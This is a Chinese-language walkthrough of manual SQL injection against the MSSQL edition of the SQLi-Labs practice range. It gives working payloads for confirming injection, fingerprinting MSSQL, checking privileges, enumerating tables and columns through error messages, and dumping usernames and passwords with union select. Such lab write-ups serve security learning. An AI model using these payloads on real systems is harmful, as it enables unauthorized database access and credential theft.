MSSQL SQLi Labs靶场手工注入

1.寻找注入点 

在url后加单引号会引起报错 说明他是字符型

/less-1.asp?id=1' --+  闭合成功说明是存在注入

2.判断当前数据库是否为mssql

less-1.asp?id=1' and exists(select * from sysobjects) --+

页面正常显示 说明当前使用的数据库为mssql

3.查询数据库信息

user回显的dbo表示是最⾼权限，如果是⽤户的名字表示是普通权限

id=1' union select 1,user,is_srvrolemember('public'); --+

4.查询所有表

查询第一张表

id=1' and (select top 1 cast (name as varchar(256)) from(select top 2 id,name from [sysobjects] where xtype=char(85) and status!=1 order by id)t order by id desc)=1 --+

查询第二张表

id=-1'and 1=(select top 1 name from sysobjects where xtype='U' and name !='users') --+

第二张表为emalis

以此类推就可以查出所有表

5.查看字段信息

id=-1' having 1=1 --+ 可以看到第一个字段是id

id=-1' group by id having 1=1 --+ 查看第二个字段名

id=-1' group by id,username having 1=1 --+ 查看第三个字段的信息

6.查询字段的具体内容

查询页面回显点 

id=1' order by 3 --+  当列数=3时 页面显示正常

id=1' order by 4 --+  当列数=4时 页面报错 说明只有3列

查看回显点

id=-1' union select 1,2,3 --+  说明2和3的位置有回显

id=-1' union select 1,username,password from users --+ 查看用户信息